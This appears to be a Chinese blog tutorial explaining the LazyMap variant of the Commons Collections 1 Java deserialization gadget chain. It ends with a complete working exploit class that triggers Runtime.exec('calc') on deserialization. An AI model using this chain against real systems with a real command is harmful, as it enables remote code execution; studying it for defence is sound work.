LazyMap

这是CC1链的第二种利用方式,如果没有看过前面文章的需要看此文章:AnnotationInvocationHandler + TransformMap + Transformer

LazyMap 是 Commons Collections 中的一个集合类,它的作用是延迟加载数据。即只有在需要的时候(例如通过 get 方法),才会触发 Transformer 链条的执行。在反序列化攻击中,LazyMap 通常用来延迟触发恶意操作,而不是在创建对象时立即执行,这有助于绕过一些检查或避免直接触发攻击。

懒加载:LazyMap 在访问某个键时,不会立即返回存储的值,而是通过 Transformer 动态生成。这个过程是懒加载的,只有在访问 get() 方法时才会触发。

触发攻击链:由于 LazyMap 能够在访问键时执行 Transformer,它被广泛用于反序列化攻击中,用来在 get() 方法中触发代码执行链(如调用 Runtime.getRuntime().exec() 执行命令)。

前面我们在查看InvokerTransformer类中的transform()时,查找有哪些调用此方法时出现了两个有意思的类
第一篇文章我们使用的是TransformedMap类,这篇文章我们使用LazyMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class LazyMapn extends AbstractMapDecorator implements Map, Serializable {
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
//....
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
//....
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}

在get()方法中调用了transform(),看看代码逻辑,我们传入map数组中不存在的key键名即可,factory是实例化时传入的Transformer

AnnotationInvocationHandler


我们继续查看哪些调用了类中的get()方法
我们又在AnnotationInvocationHandler类中找到了get()调用处,这里的使invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

经分析,我们需要满足前两条 if 语句,才会触发 memberValues 对象的get方法,否则会提前返回值

第一个if:

1
if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)

我们调用方法的名字不为 equals即可绕过
第二个if:
if (paramTypes.length != 0)
我们无参调用方法即可绕过

Proxy

我们看一下invoke方法所属类的定义,如下:

1
2
3
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
……
}

发现这个类接口了 InvocationHandler,代表该类可以作为动态代理的代理处理器,只要接口了InvocationHandler接口,就必须重写****invoke 方法,并且调用使用该代理处理器的代理对象中方法之前会自动执行该 invoke方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //因为AnnotationInvocationHandler私有,所以反射方式调用
Constructor annntation = a.getDeclaredConstructor(Class.class,Map.class);
annntation.setAccessible(true);
//通过反射创建代理对象 lazyMap 对象 , handler为拦截器
InvocationHandler handler = (InvocationHandler) annntation.newInstance(Documented.class, lazyMap);
/**
* 通过Proxy类的newProxyInstance方法创建代理对象,我们来看下方法中的参数
* 第一个参数:LazyMap.getClass().getClassLoader(),使用handler对象的classloader对象来加载我们的代理对象
* 第二个参数:LazyMap.getClass().getInterfaces(),这里为代理类提供的接口是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法
* 第三个参数:handler,我们将代理对象关联到上面的InvocationHandler对象上
*/
//这里创建了一个 Map 接口的动态代理对象 inv,其方法调用会被 handler(AnnotationInvocationHandler 实例)处理。
Map inv = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);

接下来便是要解决——如何无参调用代理对象中的方法

这里实际上只要是找到无参调用对象中方法的地方即可,不限制在哪个类,但终点要为readObject方法

找到readObject方法也就意味着找到了cc链1的起点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

我们发现for循环中的该语句可实现对memberValues变量中的方法实现无参调用

1
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

我们可以通过反射获取构造方法进而初始化,然后构造函数的memberValue变量值设置为我们的代理对象即可

整理下思路:

我们先用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象inv,然后又通过反射创建了一个AnnotationInvocationHandler对象,并将成员属性设置为代理对象inv,目的是为了在AnnotationInvocationHandler对象中的readObject方法里面对代理对象inv(memberValues变量)实现无参调用,从而触发代理处理器AnnotationInvocationHandler类中的invoke方法,进而触发get方法,最后触发transform方法,从而实现cc链1

1
2
3
4
5
6
7
8
9
10
11
Class  a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annntation = a.getDeclaredConstructor(Class.class,Map.class);
annntation.setAccessible(true);
//通过反射创建代理对象 handler,并设置其调用会委托给 lazyMap 对象
InvocationHandler handler = (InvocationHandler) annntation.newInstance(Documented.class, lazyMap);
//这里创建了一个 Map 接口的动态代理对象 inv,其方法调用会被 handler(AnnotationInvocationHandler 实例)处理。
Map inv = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
//再次通过反射创建代理对象
Object obj = annntation.newInstance(Documented.class,inv);
erialize(obj);
unserialize("ser2.bin");

对其进行反序列化时调用了AnnotationInvocationHandler类中的readObject(),正好通过memberValues.entrySet()执行了inv.entrySet()绕过了第二个if调用到了get方法

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.javatest;
import com.sun.javafx.collections.MappingChange;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Documented;
import java.lang.annotation.Target;
import java.lang.invoke.MethodHandle;
import java.lang.reflect.*;
import javax.swing.text.html.ObjectView;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {

Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(Runtime.class), //解决问题一:AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

Map map =new HashMap();
map.put("","awaa");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);

Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annntation = a.getDeclaredConstructor(Class.class,Map.class);
annntation.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annntation.newInstance(Documented.class, lazyMap);
Map inv = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);

Object obj = annntation.newInstance(Documented.class,inv);

serialize(obj);
unserialize("ser2.bin");
}

// 序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser2.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}